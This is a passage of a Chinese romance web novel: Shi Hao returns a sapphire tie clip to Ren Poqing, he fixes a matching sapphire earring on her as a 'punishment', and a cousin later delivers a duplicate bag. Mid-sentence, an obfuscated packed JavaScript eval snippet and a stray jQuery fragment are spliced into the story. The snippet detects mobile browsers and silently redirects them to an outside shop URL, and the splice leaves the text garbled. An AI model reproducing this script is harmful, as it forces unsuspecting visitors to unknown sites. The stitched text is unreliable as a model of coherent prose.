任破青很快回复了她的信息:「没睡。」
时好盯着蓝宝石看了一小会,又从衣柜中翻出领带,深蓝色的领带被熨烫得很平整。这是被任媛毁坏后,找机会偷偷买的第二条。
她犹豫片刻,带着领带和蓝宝石领夹敲响任破青的房门。
任破青和她的房间不在一层,时好担心被阿姨发现,格外心惊肉跳,有一点风吹草动,都要左右看看,找找声音来源。
敲门后并没有人来开门,时好带上一点力度,再次敲响,依旧没人应答。
站在门口等了一会,打算离开时,房门被打开一条缝。
任破青出现在门里,逆着光,脸上漆黑一片,看不清表情。
“那个……”时好吞了吞口水,一阵紧张,先递上领夹:“这个还给你,谢谢你借我用。”
门被完全打开,大片光洒在时好身上,门里面的人完全显现出来。任破青刚洗完澡,头发上还往下淌着水滴,裹着浴巾,前胸大敞,露出腹肌。
一股冰凉的气息扑面而来,时好后退一步。
“进来。”
任破青没有接领结夹,侧身让出空间。
“我就不进去打扰了,只是来还领夹。”时好嘴角扯出一个笑容,把领夹往前面递了递。
“只是来还这个?”任破青轻瞥领结夹。
“嗯……”时好低下头,攥紧藏在另外一只手中的领带。
“帮我放桌上。”
任破青转身进房,给时好留下一个敞开又明亮的大门。
时好望着里面,呆呆地没动。
“快点,门也关上,等会会有人。”
任破青坐在沙发上,气定神闲,敲了敲面前的矮几。
听到这话,时好左右看了看,踮入屋内,听话地合上门。她又轻又快像只猫,瞄准旁边的边柜,飞快地将领夹放在上面:“那我走了。”
转身要去开门,又听见任破青问:“右手拿的什么?是要给我的吗?”
时好看了眼右手拿着的盒子,因为过于紧张,被她捏出一个手指印。她顿了顿,还是将它放在领结夹旁边:“嗯……这个是谢礼,谢谢你这段时间帮我的……”
“背着人说话,你一直是这样送礼的吗?”
身后的脚步声越来越近,时好回头,任破青已经到了几步外。
任破青比时好高出一截,时好的目光正好落在任破青的胸口上,窘迫地避开,目光向下滑,又是腹部。
“不是……”目光最后落在自己手上,她不自在地说:“希望你能收下我的礼物……”
“我会收下。”
任破青对时好的不自然浑然不觉,当面拆开礼物,拿出里面的领带,又看向时好:“我很喜欢,但你应该有其他话要对我说。”
“……什么话?”
“你好好想想,我白天和你说了什么?”任破青不答反问。
“你说,被欺负了要告诉你……”
时好低头避着,脸颊泛红,睫毛像蝴蝶翅膀,微微抖动,声音也越来越小:“也没事吧……如果没有今天的事,也只是没有看好我的包,我并没有受到什么伤害……”
“你……”任破青笑了:“本人没受到伤害,就不算被欺负吗?”
时好不说话了。
“我再补充一条,任何事情都要跟我说。”任破青说完,慢慢逼近时好。
时好下意识往后退,撞在门上:“……好。”
任破青停下脚步,从边柜里拿出一个精致的白色小盒,在手中把.玩:“还有,你今天没回家吃饭,也没主动报备,还是我问你,你才说的。”
“……对不起。”时好眼神中透露着无措:“我以后会提前说的……”
“小骗子。”任破青拍了拍桌面:“到这里来。”
时好站着没动,任破青又漫不经心地说:“你现在的身份全是破绽,对我这个知情人报告,也是理所当然的吧。”
时好看了一眼桌面,慢吞吞移动到面前。
任破青留给时好的空间并不多,再加上他展开手臂,时好简直像在往他怀里钻,一股清甜的气息缠绕在怀中。
“我知道了,都告诉你……”
时好站在任破青面前,完全被任破青的气息包裹住,她扯了扯衣角,垂眸问:“还有什么——”事情吗?
后半句话还没说出口,骤然止住声。
她的耳垂被人捏住,细密的鸡皮疙瘩从后背爬上后颈。
时好说不出任何话语,面前的人俯身探下来,脸凑得更近,目光在她的嘴唇上流连。
时好的大脑一片空白,紧紧闭上双眼。
任破青却没有更进一步,她感觉自己的耳垂被人拨弄,有点疼,被取下又戴上了什么。不知过去多久,身上的阴影散去。
任破青总算大发慈悲,放过她。
“你可以回房了。”
时好缓缓睁开眼睛,任破青拉开一点距离,没有看她,手中拿着原先戴在她耳朵上的珍珠耳饰。
“这是什么……?”
时好后知后觉,摸了摸耳朵上的新耳饰,质地坚硬冰凉。
“也许是对你的惩罚?”任破青扫了她一眼,重新看回手中的珍珠耳饰,将它放入首饰盒里:“一周不准取下来。”
“这算什么惩罚?”
时好一头雾水,思考一会后说:“大家知道这是你的……?”
任破青扬起嘴角,合上首饰盒,反问:“你说呢?”
时好怀揣着不安,回到房间,对着镜子才看清这枚耳钉,是和领结夹一样的蓝宝石,衬得她皮肤发亮。
第二天,一切似乎回归正常。
早上,任德胜和蒋蓉由于前几天的操劳,还没起床,三个年轻人一起吃早饭,没有长辈在场,气氛更加自在。
任眉注意到时好戴着一对蓝宝石耳钉,多看了几眼:“你什么时候买的这对耳钉,之前都没见你戴过。这蓝钻看着不错,价格不便宜吧。”
时好心下一惊,看向任破青。
任破青手里拿着平板,并没有注意她们这边的情况。
“嗯……”时好收回目光,含混道:“很久之前买的,不记得价格了……”
“这样啊,”任眉像想起什么,又说道:“破青哥很喜欢收藏各种钻石珠宝,他肯定知道,让他帮忙看看。”
任眉说完,不由分说,将时好拉到任破青面前:“哥,你看看嫂子的这对耳钉怎么样?”
时好突然和任破青对视目光,尴尬地避开。
目光下移,恰好见到任破青戴着昨天刚送他的领带,并且上面夹着那颗在她身上待过的蓝钻领夹。
心中慌神一瞬,飞快地看了眼身边的任眉,任眉似乎并没注意到。
“让我看看。”任破青眼睛带笑,仔细地、又装模作样地在时好耳朵上打量一圈,看得时好不自在极了。
他说出钻石的品质、产地,又报出金额。
“哇,产地都能看出来吗?”任眉捧场道。
“嗯,我也有一对差不多的。”任破青回复道。
“原来是这样,那真是巧了。”
蓝钻看完,时好立刻默不作声回到座位上,任眉也坐回来,又问任破青:“哥,你又没有耳洞,收藏这些做什么。”
“好看,又能保值。”任破青看着时好,喝了一口咖啡。
早饭结束,时好悄悄问任眉:“任破青很喜欢收藏这些珠宝?”
“是啊,嫂子。”任眉回答:“他经常会拍下一些珠宝。”
“那是不是很多人都知道这件事?”时好压低了声音问。
“对啊,也不是什么不能说的爱好,何况他也没有藏着掖着。之前还有人想和他争来着……”任眉托着下巴,想了想,又看了眼她的耳钻说:“哦,对了,好像也是一对蓝钻耳钉。”
时好脸色白了白,总算明白任破青说的惩罚是什么意思。
她安慰自己,只要这周不出门,应该不会有事。
不等时好纠结太久,任眉又凑上来,好奇地问:“你说,任
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17816336|211063||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
破青知道任媛做的那些事后,会帮你报仇吗?”
时好微愣,语气迟疑:“没什么关系吧,并没有造成什么后果,而且任媛也是他的妹妹。”
“关系不是这么论的。”任眉小声说:“他和任媛关系也没多好,任媛成年后就搬出去住了,根本没有一起住几年。”
“这样啊……”
时好不解地看着任眉,总觉得她话里有话。
任眉又说:“你要说没关系的话,昨天林婧的事情,他还特意过来帮你出头。”
“……我也不知道。”时好老实说道。
“那你觉得他怎么样?”任眉看了眼周围,神神秘秘,在她耳边问。
时好不确定地说:“人还不错吧……”
虽然不算好相处,但却是给她提供了很多帮助。
“哎!”任眉叹了一口气:“我不是这个意思……算了!”
时好疑惑地看向任眉,任眉却真的没再提任破青。
她以为任媛前面害人未遂,送了破包给她,会收敛一段时间,没想到会这么快就要与任媛相见。
隔天早上,一家人正吃着早饭,任媛登门拜访。
时好还以为自己听错了,任眉激动道:“她居然还好意思上门,就她做的那些事怎么敢的?”
任德胜不明所以,问了一句:“媛媛怎么惹你了?”
“她算计嫂子!”任眉把事情始末说给两位老人听,任德胜和蒋蓉第一次知道这件事,听得直皱眉:“这个任媛,怎么变成这样?”
任眉说完对阿姨说:“别放她进来,让她滚。”
“等等。”任德胜拦住阿姨:“她一定是被林家的女儿和她妈带坏了,让她进来,听她说些什么。”
“爷爷。”一直没有开口的任破青,放下手中平板,平淡地说:“这是她们几个姐妹之间的事情,让她们自己解决,我们掺和进去会变得更加复杂。”
“也是。”任德胜摆摆手,对阿姨说:“让她先等等吧,我们吃完饭再说。”
阿姨退下,任德胜又对时好说:“要是处理不了,你再和爷爷说。”
“好的,爷爷。”
时好看了任破青一眼,不明白他的用意。
任眉气鼓鼓的,对这个处理方式并不满意,但没再说什么。
早饭过后,时好被阿姨告知,任媛等了一会已经离开,留下一个包。
“又是包!她要送几个包?”
在任眉不满地嚷嚷中,阿姨将包递给时好。时好还是拿出来看了一眼,这下让她颇为意外,这个包和她请任媛照看的包一模一样。
任眉也注意到这个点:“这个任媛又发什么疯?”
包里面的东西,也和她那天带出去的东西相差无几,甚至还有条一样的领带。
“这是……?”任眉看到后问:“她放进来的吗?”
时好心虚地盖住包里的东西:“是的吧……”
“你们堵在门口做什么?”任破青的声音从身后传来。
“……在看任媛给的包。”时好莫名地觉得这个包和任破青有关系。
“原来是这样。”任破青表面上却看不出什么,对任眉说:“刚才奶奶叫你,你过去看看吧。”
“什么事啊?怎么这个时候找我?”任眉因为任媛的事情有些烦躁,语气也不算好。
“不知道,快去看看吧。”任破青笑眯眯地说。
“欸,我等会来找你。”任眉对时好说了一句,抱怨着跑开。
阿姨也在递过包后就离开,门厅处就剩下时好和任破青两人,时好侧身,让对方通过,任破青却没有动,目光落在她手中的包上:“里面的东西都是齐的吗?”
“是……是齐全的。”
“里面有条领带?”
“是……”时好已经不想去思考任破青是如何知道,拿出了那条领带,看了眼领带,犹豫地递过去:“之前准备的领带被她破坏掉了,如果你不嫌弃……”
任破青弓腰,微微低下头:“帮我戴上。”